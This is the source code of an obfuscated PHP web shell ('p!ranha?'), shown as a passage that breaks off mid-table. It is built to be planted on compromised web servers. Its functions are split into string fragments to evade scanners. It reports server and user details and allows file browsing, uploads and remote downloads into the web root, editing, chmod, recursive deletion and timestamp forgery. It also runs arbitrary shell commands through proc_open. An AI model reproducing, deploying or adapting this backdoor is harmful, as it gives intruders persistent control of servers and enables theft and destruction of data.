- <!DOCTYPE html>
- <html>
- <head>
- <meta name="author" c by3p4ss">
- <meta name="robots" c nofollow, noarchive">
- <meta name="viewport" c initial-scale=0.1">
- <link rel="icon" href="https://i.ibb.co/g68BBXn/piranha.png" type="image/x-icon">
- <title>p!ranha?</title>
- </head>
- <body bgcolor="#580f0f" text="#ffffff">
- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
- <style>
- @import url('https://fonts.googleapis.com/css2?family=Asap+Condensed:wght@500&display=swap');
- @import url('https://fonts.googleapis.com/css?family=Russo+One');
- body {
- font-family: 'Asap Condensed', sans-serif;
- text-shadow:0px 0px 1px #ba2c1c;
- cursor: url(http://cur.cursors-4u.net/symbols/sym-1/sym46.cur), progress !important;
- }
- body::-webkit-scrollbar {
- width: 12px;
- }
- body::-webkit-scrollbar-track {
- background: #580f0f;
- }
- body::-webkit-scrollbar-thumb {
- background-color: #580f0f;
- border: 3px solid gray;
- }
- #content tr:hover {
- background-color: #410909;
- text-shadow:0px 0px 10px #fff;
- }
- #content .first {
- background-color: #410909;
- }
- #content .first:hover {
- background-color: #410909
- text-shadow:0px 0px 1px #ffffff;
- }
- table {
- border: 0px #410909 solid;
- table-layout: fixed;
- }
- td {
- word-wrap: break-word;
- }
- a {
- color: #ffffff;
- text-decoration: none;
- }
- a:hover {
- color: #000000;
- text-shadow:0px 0px 10px #ffffff;
- }
- input,select,textarea {
- border: 1px #FFFFFF solid;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- .gas {
- background-color: #580f0f;
- color: #ffffff;
- cursor: pointer;
- }
- select {
- background-color: transparent;
- color: #ffffff;
- }
- select:after {
- cursor: pointer;
- }
- .linka {
- background-color: transparent;
- color: #ffffff;
- }
- .up {
- background-color: transparent;
- color: #fff;
- }
- option {
- background-color: #580f0f;
- }
- .btf {
- background: transparent;
- border: 1px #fff solid;
- cursor: pointer;
- }
- ::-webkit-file-upload-button {
- background: transparent;
- color: #fff;
- border-color: #fff;
- cursor: pointer;
- }
- </style>
- <center>
- <?php
- echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr><td>';
- set_time_limit(0);
- error_reporting(0);
- $gcw = "ge"."tc"."wd";
- $exp = "ex"."plo"."de";
- $fpt = "fi"."le_p"."ut_co"."nte"."nts";
- $fgt = "f"."ile_g"."et_c"."onten"."ts";
- $sts = "s"."trip"."slash"."es";
- $scd = "sc"."a"."nd"."ir";
- $fxt = "fi"."le_"."exis"."ts";
- $idi = "i"."s_d"."ir";
- $ulk = "un"."li"."nk";
- $ifi = "i"."s_fi"."le";
- $sub = "subs"."tr";
- $spr = "sp"."ri"."ntf";
- $fp = "fil"."epe"."rms";
- $chm = "ch"."m"."od";
- $ocd = "oc"."td"."ec";
- $isw = "i"."s_wr"."itab"."le";
- $idr = "i"."s_d"."ir";
- $ird = "is"."_rea"."da"."ble";
- $isr = "is_"."re"."adab"."le";
- $fsz = "fi"."lesi"."ze";
- $rd = "r"."ou"."nd";
- $igt = "in"."i_g"."et";
- $fnct = "fu"."nc"."tion"."_exi"."sts";
- $rad = "RE"."M"."OTE_AD"."DR";
- $rpt = "re"."al"."pa"."th";
- $bsn = "ba"."se"."na"."me";
- $srl = "st"."r_r"."ep"."la"."ce";
- $sps = "st"."rp"."os";
- $mkd = "m"."kd"."ir";
- $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T'];
- $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s");
- if (empty($disfunc)) {
- $disf = "<font color='#ff1818'>NONE</font>";
- } else {
- $disf = "<font color='red'>".$disfunc."</font>";
- }
- function cekdir() {
- if (isset($_GET['piranhaloc'])) {
- $lokasi = $_GET['piranhaloc'];
- } else {
- $lokasi = "ge"."t"."cw"."d";
- $lokasi = $lokasi();
- }
- $b = "i"."s_w"."ri"."tab"."le";
- if ($b($lokasi)) {
- return "<font color='#009c12'>Writeable</font>";
- } else {
- return "<font color='red'>Writeable</font>";
- }
- }
- function crt() {
- $a = "is"."_w"."ri"."tab"."le";
- if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) {
- return "<font color='#009c12'>Writeable</font>";
- } else {
- return "<font color='red'>Writeable</font>";
- }
- }
- function xrd($lokena) {
- $a = "s"."ca"."nd"."ir";
- $items = $a($lokena);
- foreach ($items as $item) {
- if ($item === '.' || $item === '..') {
- continue;
- }
- $b = "is"."_di"."r";
- $piranhaloc = $lokena.'/'.$item;
- if ($b($piranhaloc)) {
- xrd($piranhaloc);
- } else {
- $c = "u"."nl"."in"."k";
- $c($piranhaloc);
- }
- }
- $d = "rm"."di"."r";
- $d($lokena);
- }
- function cfn($fl) {
- $a = "ba"."sena"."me";
- $b = "pat"."hinf"."o";
- $c = $b($a($fl), piranhalocINFO_EXTENSION);
- if ($c == "zip") {
- return '<i class="fa fa-file-zip-o" #d6d4ce"></i>';
- } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) {
- return '<i class="fa fa-file-image-o" #d6d4ce"></i>';
- } elseif ($c == "txt") {
- return '<i class="fa fa-file-text-o" #d6d4ce"></i>';
- } elseif ($c == "pdf") {
- return '<i class="fa fa-file-pdf-o" #d6d4ce"></i>';
- } elseif ($c == "html") {
- return '<i class="fa fa-file-code-o" #d6d4ce"></i>';
- }
- else {
- return '<i class="fa fa-file-o" #d6d4ce"></i>';
- }
- }
- function ipsrv() {
- $a = "g"."eth"."ost"."byna"."me";
- $b = "fun"."cti"."on_"."exis"."ts";
- $c = "S"."ERVE"."R_AD"."DR";
- $d = "SE"."RV"."ER_N"."AM"."E";
- if ($b($a)) {
- return $a($_SERVER[$d]);
- } else {
- return $a($_SERVER[$c]);
- }
- }
- function ggr($fl) {
- $a = "fun"."cti"."on_"."exis"."ts";
- $b = "po"."si"."x_ge"."tgr"."gid";
- $c = "fi"."le"."gro"."up";
- if ($a($b)) {
- if (!$a($c)) {
- return "?";
- }
- $d = $b($c($fl));
- if (empty($d)) {
- $e = $c($fl);
- if (empty($e)) {
- return "?";
- } else {
- return $e;
- }
- } else {
- return $d['name'];
- }
- } elseif ($a($c)) {
- return $c($fl);
- } else {
- return "?";
- }
- }
- function gor($fl) {
- $a = "fun"."cti"."on_"."exis"."ts";
- $b = "po"."s"."ix_"."get"."pwu"."id";
- $c = "fi"."le"."o"."wn"."er";
- if ($a($b)) {
- if (!$a($c)) {
- return "?";
- }
- $d = $b($c($fl));
- if (empty($d)) {
- $e = $c($fl);
- if (empty($e)) {
- return "?";
- } else {
- return $e;
- }
- } else {
- return $d['name'];
- }
- } elseif ($a($c)) {
- return $c($fl);
- } else {
- return "?";
- }
- }
- function fdt($fl) {
- $a = "da"."te";
- $b = "fil"."emt"."ime";
- return $a("F d Y H:i:s", $b($fl));
- }
- function dunlut($fl) {
- $a = "fil"."e_exi"."sts";
- $b = "ba"."sena"."me";
- $c = "fi"."les"."ize";
- $d = "read"."fi"."le";
- if ($a($fl) && isset($fl)) {
- header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer');
- header("Conte'.'nt-Control:public");
- header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream');
- header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"');
- header('Exp'.'ires: 0');
- header("Ex"."pired:0");
- header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date');
- header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary");
- header('Pra'.'gma: pub'.'lic');
- header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl));
- flush();
- $d($fl);
- exit;
- } else {
- return "Fi"."le Not F"."ound !";
- }
- }
- function komend($kom, $lk) {
- $x = "pr"."eg_"."mat"."ch";
- $xx = "2".">"."&"."1";
- if (!$x("/".$xx."/i", $kom)) {
- $kom = $kom." ".$xx;
- }
- $a = "fu"."ncti"."on_"."ex"."is"."ts";
- $b = "p"."ro"."c_op"."en";
- $c = "htm"."lspe"."cialc"."hars";
- $d = "s"."trea"."m_g"."et_c"."ont"."ents";
- if ($a($b)) {
- $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
- return "<pre>".$c($d($meki[1]))."</pre>";
- } else {
- return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !";
- }
- }
- function memeklim($text) {
- echo "<center><font color='#009c12'>".$text."</center></font>";
- }
- function red($text) {
- echo "<center><font color='red'>".$text."</center></font>";
- }
- function oren($text) {
- return "<center><font color='#ff6969'>".$text."</center></font>";
- }
- function tuls($nm, $lk) {
- return "[ <a href='".$lk."'>".$nm."</a> ] ";
- }
- echo "Se"."rv"."er"." I"."P : <font color=#ff1818>".ipsrv()."</font> / Yo"."ur I"."P : <font color=#ff1818>".$_SERVER[$rad]."</font><br>";
- echo "We"."b S"."erv"."er : <font color='#ff1818'>".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."</font><br>";
- $unm = "ph"."p_u"."na"."me";
- echo "Sys"."tem : <font color='#ff1818'>".@$unm()."</font><br>";
- $gcu = "g"."et_"."curr"."ent"."_us"."er";
- $gmu = "g"."et"."my"."ui"."d";
- echo "Us"."er : <font color='#ff1818'>".@$gcu()." </font>( <font color='#ff1818'>".@$gmu()."</font>)<br>";
- $phv = "ph"."pve"."rsi"."on";
- echo "PH"."P V"."er"."sio"."n : <font color='#ff1818'>".@$phv()."</font><br>";
- echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."</font><br>";
- echo "MySQL : ";
- if (@$fnct("my"."sql_co"."nne"."ct")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | cURL : ";
- if (@$fnct("cu"."rl"."_in"."it")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | WG"."ET : ";
- if (@$fxt("/"."us"."r/b"."in/w"."get")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | Pe"."rl : ";
- if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | Pyt"."ho"."n : ";
- if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | S"."u"."do : ";
- if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo " | Pk"."e"."x"."e"."c : ";
- if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) {
- echo "<font color=#009c12>ON</font>";
- } else {
- echo "<font color=red>OFF</font>";
- }
- echo "<br>Di"."rect"."ory : ";
- foreach($_POST as $key => $value){
- $_POST[$key] = $sts($value);
- }
- if(isset($_GET['piranhaloc'])){
- $lokasi = $_GET['piranhaloc'];
- $lokdua = $_GET['piranhaloc'];
- } else {
- $lokasi = $gcw();
- $lokdua = $gcw();
- }
- $lokasi = $srl('\\','/',$lokasi);
- $lokasis = $exp('/',$lokasi);
- $lokasinya = @$scd($lokasi);
- foreach($lokasis as $id => $lok){
- if($lok == '' && $id == 0){
- $a = true;
- echo '<a href="?piranhaloc=/">/</a>';
- continue;
- }
- if($lok == '') continue;
- echo '>'.$lok.'</a>/';
- }
- echo '</td></tr><tr><td><br>';
- if (isset($_POST['upwkwk'])) {
- if (isset($_POST['berkasnya'])) {
- if ($_POST['dirnya'] == "2") {
- $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
- }
- if (empty($_FILES['berkas']['name'])) {
- echo "<font color=#ff6969>Fi"."le not Se"."lected !</font><br><br>";
- } else {
- $data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES['berkas']['tm'.'p_na'.'me']));
- if ($fxt($lokasi."/".$_FILES['berkas']['name'])) {
- $fl = $lokasi."/".$_FILES['berkas']['name'];
- echo "Fi"."le Upl"."oa"."ded ! <font color='#ff1818'><i>".$fl."</i></font><br>";
- if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
- $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
- echo "Li"."nk : <a href='".$lwb."'><font color='#ff1818'>".$lwb."</font></a><br>";
- }
- echo "<br>";
- } else {
- echo "<font color='red'>Fa"."ile"."d to Up"."lo"."ad !</font><br><br>";
- }
- }
- } elseif (isset($_POST['linknya'])) {
- if (empty($_POST['namalink'])) {
- echo "<font color=#ff6969>Fi"."lename cannot be empty !</font><br><br>";
- } elseif (empty($_POST['darilink'])) {
- echo "<font color=#ff6969>Link cannot be empty !</font><br><br>";
- } else {
- if ($_POST['dirnya'] == "2") {
- $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
- }
- $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
- if ($fxt($lokasi."/".$_POST['namalink'])) {
- $fl = $lokasi."/".$_POST['namalink'];
- echo "Fi"."le Uplo"."ade"."d ! <font color='#ff1818'><i>".$fl."</i></font><br>";
- if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
- $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
- echo "Li"."nk : <a href='".$lwb."'><font color='#ff1818'>".$lwb."</font></a><br>";
- }
- echo "<br>";
- } else {
- echo "<font color='red'>Fa"."iled to Up"."lo"."ad !</font><br><br>";
- }
- }
- }
- }
- echo "Uplo"."ad Fi"."le : ";
- echo '<form enctype="multip'.'art/form'.'-data" method="p'.'ost">
- <input type="radio" value="1" name="dirnya" checked>Curr3nt_D!r [ '.cekdir().' ]
- <input type="radio" value="2" name="dirnya" >D0cum3nt_r0Ot [ '.crt().' ]<br>
- <input type="hidden" name="upwkwk" value="aplod">
- <input type="fi'.'le" name="berkas"><input type="submit" name="berkasnya" value="G'.'O!" class="up" pointer; border-color: #fff"><br>
- <input type="text" name="darilink" class="up" size="59" placeholder="https://pir'.'an'.'ha'.'.go'.'.id'.'/ev'.'il'.'66'.'6k'.'ids"> <input type="text" name="namalink" class="up" size="14" placeholder="sa'.'ved.'.'txt"><input type="submit" name="linknya" class="up" value="G'.'0!" pointer; border-color: #fff">
- </form><form method="post" enctype="application/x-www-form-urlencoded">Co'.'mm'.'an'.'d : <input type="text" name="komend" class="up" pointer; border: 0px;border-color: #FFFFFFF;width:700px" value="'.htmlspecialchars($_POST['komend']).'">
- <input type="submit" name="komends" value="E'.'x3'.'cu'.'t3!" class="up" pointer; border-color: #fff">
- </form>';
- echo "</table>";
- if (isset($_GET['piranhalocation'])) {
- echo "<tr><td>Current Fi"."le : ".$_GET['piranhalocation'];
- echo '</tr></td></table><br/>';
- echo "<pre>".htmlspecialchars($fgt($_GET['piranhalocation']))."</pre>";
- } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "hapus") {
- if ($idi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) {
- xrd($_POST['piranhaloc']);
- if ($fxt($_POST['piranhaloc'])) {
- red("Fai"."led to del"."ete Dir"."ec"."tory !");
- } else {
- memeklim("Del"."ete Dir"."ect"."ory Suc"."cess !");
- }
- } elseif ($ifi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) {
- @$ulk($_POST['piranhaloc']);
- if ($fxt($_POST['piranhaloc'])) {
- red("Failed to Delete Fi"."le !");
- } else {
- memeklim("De"."le"."te Fi"."le Succ"."ess !");
- }
- } else {
- red("Fi"."le / Dir"."ecto"."ry not Fo"."und !");
- }
- } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
- if (!isset($_POST['cemod'])) {
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahmod">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="cemod" class="up" pointer; border-color: #fff"/>
- </form><br>';
- } else {
- $cm = @$chm($_POST['piranhaloc'], $ocd($_POST['perm']));
- if ($cm == true) {
- memeklim("Change Mod Success !");
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahmod">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="cemod" class="up" pointer; border-color: #fff"/>
- </form><br>';
- } else {
- red("Change Mod Failed !");
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahmod">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="cemod" class="up" pointer; border-color: #fff"/>
- </form><br>';
- }
- }
- } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahnama") {
- if (isset($_POST['gantin'])) {
- $namabaru = $_GET['piranhaloc']."/".$_POST['newname'];
- $ceen = "re"."na"."me";
- if (@$ceen($_POST['piranhaloc'], $namabaru) === true) {
- memeklim("Change Name Success");
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- New Name : <input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($_POST['newname']).'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['newname'].'">
- <input type="hidden" name="pilih" value="ubahnama">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="gantin" class="up" pointer; border-color: #fff"/>
- </form><br>';
- } else {
- red("Change Name Failed");
- }
- } else {
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- New Name : <input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($bsn($_POST['piranhaloc'])).'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahnama">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="gantin" class="up" pointer; border-color: #fff"/>
- </form><br>';
- }
- } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
- if (isset($_POST['gasedit'])) {
- $edit = @$fpt($_POST['piranhaloc'], $_POST['src']);
- if ($fgt($_POST['piranhaloc']) == $_POST['src']) {
- memeklim("Ed"."it Fi"."le Suc"."ce"."ss !");
- } else {
- red("Ed"."it Fi"."le Fai"."led !");
- }
- }
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br><br>";
- echo '<form method="post">
- <textarea cols=80 rows=20 name="src">'.htmlspecialchars($fgt($_POST['piranhaloc'])).'</textarea><br>
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ed'.'it">
- <input type="submit" value="Ed'.'it Fi'.'le" name="gasedit" class="up" pointer; border-color: #fff"/>
- </form><br>';
- } elseif (isset($_POST['komends'])) {
- if (isset($_POST['komend'])) {
- if (isset($_GET['piranhaloc'])) {
- $lk = $_GET['piranhaloc'];
- } else {
- $lk = $gcw();
- }
- $km = 'ko'.'me'.'nd';
- echo $km($_POST['komend'], $lk);
- exit();
- }
- } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahtanggal") {
- if (isset($_POST['tanggale'])) {
- $stt = "st"."rtot"."ime";
- $tch = "t"."ou"."ch";
- $tanggale = $stt($_POST['tanggal']);
- if (@$tch($_POST['piranhaloc'], $tanggale) === true) {
- memeklim("Change Da"."te Succ"."ess !");
- $det = "da"."te";
- $ftm = "fi"."le"."mti"."me";
- $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc']));
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahtanggal">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="tanggale" class="up" pointer; border-color: #fff"/>
- </form><br>';
- } else {
- red("Fai"."led to Cha"."nge Da"."te !");
- }
- } else {
- $det = "da"."te";
- $ftm = "fi"."le"."mti"."me";
- $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc']));
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- } else {
- echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
- }
- echo '<form method="post">
- New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
- <input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="ubahtanggal">';
- if ($_POST['ty'.'pe'] == "fi"."le") {
- echo '<input type="hidden" name="type" value="fi'.'le">';;
- } else {
- echo '<input type="hidden" name="type" value="di'.'r">';;
- }
- echo '<input type="submit" value="Change" name="tanggale" class="up" pointer; border-color: #fff"/>
- </form><br>';
- }
- } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "dunlut") {
- $dunlute = $_POST['piranhaloc'];
- if ($fxt($dunlute) && isset($dunlute)) {
- if ($ird($dunlute)) {
- dunlut($dunlute);
- } elseif ($idr($fl)) {
- red("That is Di"."rec"."tory, Not Fi"."le -_-");
- } else {
- red("Fi"."le is Not Re"."adab"."le !");
- }
- } else {
- red("Fi"."le Not Fo"."und !");
- }
- } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "fo"."ld"."er") {
- if ($isw("./") || $ird("./")) {
- $loke = $_POST['piranhaloc'];
- if (isset($_POST['buatfolder'])) {
- $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']);
- if ($buatf == true) {
- memeklim("Folder <b>".htmlspecialchars($_POST['fo'.'lde'.'rba'.'ru'])."</b> Created !");
- echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="folder"></form>';
- } else {
- red("Failed to Create folder !");
- echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'">
- <input type="hidden" name="pilih" value="folder"></form>';
- }
- } else {
- echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"><input type="hidden" name="pilih" value="folder"></form>';
- }
- }
- } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") {
- if ($isw("./") || $isr("./")) {
- $loke = $_POST['lok'.'nya'];
- if (isset($_POST['buatfi'.'le'])) {
- $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], "");
- if ($fxt($loke."/".$_POST['fi'.'lebaru'])) {
- memeklim("File <b>".htmlspecialchars($_POST['fi'.'lebaru'])."</b> Created !");
- echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'">
- <input type="hidden" name="pilih" value="fi'.'le"></form>';
- } else {
- red("Failed to Create File !");
- echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'">
- <input type="hidden" name="pilih" value="fi'.'le"></form>';
- }
- } else {
- echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" pointer; border-color: #fff"><br><br></center>';
- echo '<input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'"><input type="hidden" name="pilih" value="fi'.'le"></form>';
- }
- }
- }
- echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr class="first">
- <td><center>N4'.'m3</center></td>
- <td><center>5!'.'z3</center></td>
- <td><center>L45'.'t M0'.'d!f'.'!3d</center></td>
- <td><center>0'.'wn'.'3r / Gr'.'0u'.'p</center></td>
- <td><center>P3'.'Rm!'.'55'.'!0n5</center></td>
- <td><center>0p'.'t!0'.'n5</center></td>
- </tr>';
- echo "<tr>";
- $euybrekw = $srl($bsn($lokasi), "", $lokasi);
- $euybrekw = $srl("//", "/", $euybrekw);
- echo "<td><i class='fa fa-folder' #ffe9a2'></i> <a piranhaloc=".$euybrekw.">..</a></td>
- <td><center>--</center></td>
- <td><center>".fdt($euybrekw)."</center></td>
- <td><center>".gor($euybrekw)." / ".ggr($euybrekw)."</center></td>
- <td><center>";
- if($isw($euybrekw)) echo '<font color="#009c12">';
- elseif(!$isr($euybrekw)) echo '<font color="red">';
- echo statusnya($euybrekw);
- if($isw($euybrekw) || !$isr($euybrekw)) echo '</font>';
- echo "</center></td>
- <td><center>>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
- <input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$ppkcina\">
- <button type='submit' class='btf' name='pilih' value='folder'><i class='fa fa-folder' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='file'><i class='fa fa-file' #fff'></i></button>
- </form></center>";
- echo "</tr>";
- foreach($lokasinya as $ppkcina){
- $euybre = $lokasi."/".$ppkcina;
- $euybre = $srl("//", "/", $euybre);
- if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue;
- echo "<tr>";
- echo "<td><i class='fa fa-folder' #ffe9a2'></i> <a piranhaloc=".$euybre.">".$ppkcina."</a></td>
- <td><center>--</center></td>
- <td><center>".fdt($euybre)."</center></td>
- <td><center>".gor($euybre)." / ".ggr($euybre)."</center></td>
- <td><center>";
- if($isw($euybre)) echo '<font color="#009c12">';
- elseif(!$isr($euybre)) echo '<font color="red">';
- echo statusnya($euybre);
- if($isw($euybre) || !$isr($euybre)) echo '</font>';
- echo "</center></td>
- <td><center>>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
